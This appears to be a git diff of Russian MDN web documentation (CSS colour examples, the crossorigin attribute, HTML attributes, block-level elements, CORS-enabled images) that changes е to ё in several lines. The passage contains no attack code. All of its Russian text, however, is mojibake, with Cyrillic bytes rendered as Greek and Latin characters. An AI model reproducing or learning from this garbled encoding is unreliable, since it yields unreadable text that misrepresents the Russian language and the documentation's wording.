+<p>Π’ΠΊΡ€Π°Ρ‚Ρ†Π΅ класс <code>.box</code> устанавливаСт Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΡˆΡ€ΠΈΡ„Ρ‚Π°.Β Π’Π°ΠΊΠΆΠ΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS Flexbox</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΠΎΡ‚Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ содСрТимоС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°.Β ΠœΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌ Ρ€Π΅ΠΆΠΈΠΌ <code>flex</code> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref("display", "display: flex")}}, ΠΈ присваиваСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ center {{cssxref("justify-content")}} ΠΈ {{cssxref("align-items")}}.Β Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаём ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ классы для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· Π΄Π²ΡƒΡ… Π±Π»ΠΎΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ опрСдСлят ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅Β ΡΠ²ΠΎΠΉΡΡ‚Π²Π°.</p>
<p>Β </p>
@@ -324,7 +324,7 @@ th {
<ul>
<li>{{cssxref("background-color")}} опрСдСляСт Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° Π±Π»ΠΎΠΊΠ°Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>rgb(245, 130, 130)</code>.</li>
<li>{{cssxref("outline")}}, Π²Β ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ Π½Π°ΠΌ свойства <code>border</code>, Β Π½Π΅ влияСт Π½Π° ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±Π»ΠΎΠΊΠ° ΠΈ Π΅Π³ΠΎ ΡˆΠΈΡ€ΠΈΠ½Ρƒ.Β <code>Outline</code> прСдставлСн сплошной, Ρ‚Π΅ΠΌΠ½ΠΎ-красной Π»ΠΈΠ½ΠΈΠ΅ΠΉ, ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 2 пиксСля.Β ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>darkred</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π°.</li>
- <li>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ опрСдСляСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° тСкста.Β Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ свойство {{cssxref("color")}} Π±ΡƒΠ΄Π΅Ρ‚ унаслСдовано ΠΎΡ‚ блиТайшСго Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ это свойство ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚.</li>
+ <li>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ опрСдСляСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° тСкста.Β Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ свойство {{cssxref("color")}} Π±ΡƒΠ΄Π΅Ρ‚ унаслСдовано ΠΎΡ‚ блиТайшСго Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ это свойство ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ это Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚.</li>
</ul>
<p>Β </p>
@@ -346,8 +346,8 @@ th {
<li><code>background-color</code> опрСдСляСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ HSL: <code>hsl(270deg, 50%, 75%)</code>.Β Π­Ρ‚ΠΎ свСтло-Ρ„ΠΈΠΎΠ»Π΅Ρ‚ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚.</li>
<li><code>Outline</code> Π±Π»ΠΎΠΊΠ° опрСдСляСт, Ρ‡Ρ‚ΠΎ Π²ΠΎΠΊΡ€ΡƒΠ³ Π±Π»ΠΎΠΊΠ° Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ прСрывистая линия, ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ пиксСля,Β Ρ„ΠΈΠΎΠ»Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π° Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Ρ‚Π΅ΠΌΠ½Π΅Π΅, Ρ‡Π΅ΠΌ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°Β (<code>rgb(110, 20, 120)</code>).</li>
<li>Π¦Π²Π΅Ρ‚ тСкста опрСдСляСтся свойством {{cssxref("color")}}, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ <code>hsl(0deg, 100%, 100%)</code>.Β Π­Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΌΠ½ΠΎΠ³ΠΈΡ… способов Π·Π°Π΄Π°Ρ‚ΡŒ Π±Π΅Π»Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚.</li>
- <li>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref("text-decoration")}} ΠΌΡ‹ добавляСм Π·Π΅Π»Π΅Π½ΡƒΡŽ Π²ΠΎΠ»Π½ΠΈΡΡ‚ΡƒΡŽ линию ΠΏΠΎΠ΄ тСкстом.</li>
- <li>И Π½Π°ΠΊΠΎΠ½Π΅Ρ†, свойство {{cssxref("text-shadow")}} добавляСт Π½Π΅Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π΅Ρ€Π½ΡƒΡŽ Ρ‚Π΅Π½ΡŒ тСксту.</li>
+ <li>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{cssxref("text-decoration")}} ΠΌΡ‹ добавляСм Π·Π΅Π»Ρ‘Π½ΡƒΡŽ Π²ΠΎΠ»Π½ΠΈΡΡ‚ΡƒΡŽ линию ΠΏΠΎΠ΄ тСкстом.</li>
+ <li>И Π½Π°ΠΊΠΎΠ½Π΅Ρ†, свойство {{cssxref("text-shadow")}} добавляСт Π½Π΅Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Ρ‘Ρ€Π½ΡƒΡŽ Ρ‚Π΅Π½ΡŒ тСксту.</li>
</ul>
<h2 id="ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅ΠΌ_Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ_Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ_Ρ†Π²Π΅Ρ‚">ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΠ΅ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚</h2>
diff --git a/files/ru/web/html/attributes/crossorigin/index.html b/files/ru/web/html/attributes/crossorigin/index.html
index b0b744eb5d..b709a2876b 100644
--- a/files/ru/web/html/attributes/crossorigin/index.html
+++ b/files/ru/web/html/attributes/crossorigin/index.html
@@ -14,16 +14,16 @@ original_slug: Web/HTML/CORS_settings_attributes
</tr>
<tr>
<td><code>anonymous</code></td>
- <td>CORS запросы ΠΎΡ‚ этого элСмСнта Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅.</td>
+ <td>CORS запросы ΠΎΡ‚ этого элСмСнта Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅.</td>
</tr>
<tr>
<td><code>use-credentials</code></td>
- <td>CORS запросы ΠΎΡ‚ этого элСмСнта Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅.</td>
+ <td>CORS запросы ΠΎΡ‚ этого элСмСнта Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅.</td>
</tr>
</tbody>
</table>
-<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ), CORS Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π²ΠΎΠΎΠ±Ρ‰Π΅. ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово "anonymous" ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±ΠΌΠ΅Π½Π° <strong>ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…</strong>(user credentials) Ρ‡Π΅Ρ€Π΅Π· cookies, client-side SSL сСртификаты ΠΈΠ»ΠΈ HTTP Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ ΠΊΠ°ΠΊ описано Π² <a class="external" href="http://www.w3.org/TR/cors/#user-credentials">Π‘Π΅ΠΊΡ†ΠΈΠΈ ВСрминология CORS спСцификации</a>.</p>
+<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ), CORS Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π²ΠΎΠΎΠ±Ρ‰Π΅. ΠšΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово "anonymous" ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±ΠΌΠ΅Π½Π° <strong>ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…</strong>(user credentials) Ρ‡Π΅Ρ€Π΅Π· cookies, client-side SSL сСртификаты ΠΈΠ»ΠΈ HTTP Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ ΠΊΠ°ΠΊ описано Π² <a class="external" href="http://www.w3.org/TR/cors/#user-credentials">Π‘Π΅ΠΊΡ†ΠΈΠΈ ВСрминология CORS спСцификации</a>.</p>
<p>ΠΠ΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово ΠΈΠ»ΠΈ пустая строка, Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½ΠΎ ΠΊΠ°ΠΊ <code>anonymous</code>.</p>
diff --git a/files/ru/web/html/attributes/index.html b/files/ru/web/html/attributes/index.html
index 874a7d2137..2e63f37bcd 100644
--- a/files/ru/web/html/attributes/index.html
+++ b/files/ru/web/html/attributes/index.html
@@ -113,7 +113,7 @@ translation_of: Web/HTML/Attributes
<tr>
<td><code>manifest</code></td>
<td>{{ HTMLElement("html") }}</td>
- <td>Π—Π°Π΄Π°Π΅Ρ‚ URL ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ манифСста Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</td>
+ <td>Π—Π°Π΄Π°Ρ‘Ρ‚ URL ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ манифСста Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</td>
</tr>
<tr>
<td><code>max</code></td>
@@ -153,7 +153,7 @@ translation_of: Web/HTML/Attributes
<tr>
<td><code>novalidate</code></td>
<td>{{ HTMLElement("form") }}</td>
- <td>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΠ° Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° пСрСдаСтся Π½Π° сСрвСр.</td>
+ <td>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ„ΠΎΡ€ΠΌΠ° Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° пСрСдаётся Π½Π° сСрвСр.</td>
</tr>
<tr>
<td><code>open</code></td>
diff --git a/files/ru/web/html/block-level_elements/index.html b/files/ru/web/html/block-level_elements/index.html
index ce640274c9..2dc399414a 100644
--- a/files/ru/web/html/block-level_elements/index.html
+++ b/files/ru/web/html/block-level_elements/index.html
@@ -47,7 +47,7 @@ translation_of: Web/HTML/Block-level_elements
<h2 id="Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹</h2>
-<p><span id="result_box" lang="ru"><span class="hps">НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½</span> <span class="hps">ΠΏΠΎΠ»Π½Ρ‹ΠΉ список всСх</span>Β Π±Π»ΠΎΡ‡Π½Ρ‹Ρ…Β <span class="hps">элСмСнтов</span> <span class="hps">(хотя </span></span>Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ <span lang="ru"><span class="hps">понятиС </span></span>Β«<span lang="ru"><span>Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ</span></span>Β» Π½Π΅ примСняСтся <span lang="ru"><span class="hps">ΠΊ</span>Β Π½ΠΎΠ²Ρ‹ΠΌΒ <span class="hps">элСмСнтам</span>Β <span class="hps">Π² HTML5</span><span>)</span><span>.</span></span></p>
+<p><span id="result_box" lang="ru"><span class="hps">НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½</span> <span class="hps">ΠΏΠΎΠ»Π½Ρ‹ΠΉ список всСх</span>Β Π±Π»ΠΎΡ‡Π½Ρ‹Ρ…Β <span class="hps">элСмСнтов</span> <span class="hps">(хотя </span></span>Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ <span lang="ru"><span class="hps">понятиС </span></span>Β«<span lang="ru"><span>Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ</span></span>Β» Π½Π΅ примСняСтся <span lang="ru"><span class="hps">ΠΊ</span>Β Π½ΠΎΠ²Ρ‹ΠΌΒ <span class="hps">элСмСнтам</span>Β <span class="hps">Π² HTML5</span><span>)</span><span>.</span></span></p>
<div class="threecolumns">
<dl>
diff --git a/files/ru/web/html/cors_enabled_image/index.html b/files/ru/web/html/cors_enabled_image/index.html
index 5c36131100..1a2ccf817e 100644
--- a/files/ru/web/html/cors_enabled_image/index.html
+++ b/files/ru/web/html/cors_enabled_image/index.html
@@ -31,7 +31,7 @@ translation_of: Web/HTML/CORS_enabled_image
<li>Π’Ρ‹Π·ΠΎΠ² {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} Π½Π° canvas</li>
</ul>
-<p>ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π½ΠΈΠΌ, ΠΊΠΎΠ³Π΄Π° холст испорчСн, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ возникновСнию ошибки бСзопасности <code>SecurityError</code>. Π­Ρ‚ΠΎ Π·Π°Ρ‰ΠΈΡ‰Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΎΡ‚ доступа ΠΊ Π»ΠΈΡ‡Π½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ для извлСчСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ с ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Ρ… Π²Π΅Π±-сайтов Π±Π΅Π· Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ.</p>
+<p>ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚ΡŒΡΡ ΠΊ Π½ΠΈΠΌ, ΠΊΠΎΠ³Π΄Π° холст испорчСн, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ возникновСнию ошибки бСзопасности <code>SecurityError</code>. Π­Ρ‚ΠΎ Π·Π°Ρ‰ΠΈΡ‰Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΎΡ‚ доступа ΠΊ Π»ΠΈΡ‡Π½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ для извлСчСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ с ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ… Π²Π΅Π±-сайтов Π±Π΅Π· Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ.</p>
<h2 id="Π₯Ρ€Π°Π½Π΅Π½ΠΈΠ΅_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ_ΠΈΠ·_внСшнСго_источника">Π₯Ρ€Π°Π½Π΅Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ· внСшнСго источника</h2>
@@ -58,7 +58,7 @@ translation_of: Web/HTML/CORS_enabled_image
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° сСрвСр настроСн Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ· Ρ€Π°Π·Π½Ρ‹Ρ… источников, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ ΠΈΡ… Π²Β <a href="/ru/docs/Web/API/Web_Storage_API">локальном Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅</a>, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΎΠ½ΠΈ ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Π»ΠΈΡΡŒ ΠΈΠ· Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Π΄ΠΎΠΌΠ΅Π½Π°, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ выполняСтся ΠΊΠΎΠ΄.</p>
-<p>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΠΌ являСтся использованиС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("crossorigin")}} ΠΏΡƒΡ‚Π΅ΠΌ установки {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}} Β Π² элСмСнтС {{domxref("HTMLImageElement")}} , Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΊΠΎΠΌΠ°Π½Π΄ΡƒΒ Π½Π° запрос доступа ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ источнику ΠΏΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ изобраТСния.</p>
+<p>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΠΌ являСтся использованиС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("crossorigin")}} ΠΏΡƒΡ‚Ρ‘ΠΌ установки {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}} Β Π² элСмСнтС {{domxref("HTMLImageElement")}} , Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ ΠΊΠΎΠΌΠ°Π½Π΄ΡƒΒ Π½Π° запрос доступа ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ источнику ΠΏΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ изобраТСния.</p>
<h4 id="Запуск_Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ">Запуск Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ</h4>
diff --git a/files/ru/web/html/element/a/index.html b/files/ru/web/html/element/a/index.html
index dff65ceb59..23d1ab1ea8 100644
--- a/files/ru/web/html/element/a/index.html
+++ b/files/ru/web/html/element/a/index.html
@@ -211,7 +211,7 @@ translation_of: Web/HTML/Element/a
<dt>{{htmlattrdef("methods")}}<strong style="font-weight: 700; line-height: 1.5;">Β </strong>{{Non-standard_inline}}</dt>
<dd>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° прСдоставляСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ функциях, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ значСния Π΄Π°Π½Ρ‹ HTTP-ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠΌ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ использован, Π½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ (для ΠΏΠΎΡ…ΠΎΠΆΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ, ΠΊΠ°ΠΊ для Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>title</code>) Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ для Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² ссылкС. НапримСр, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ‚ΠΈΠΏ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° для ссылки ΠΊΠ°ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²; Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ 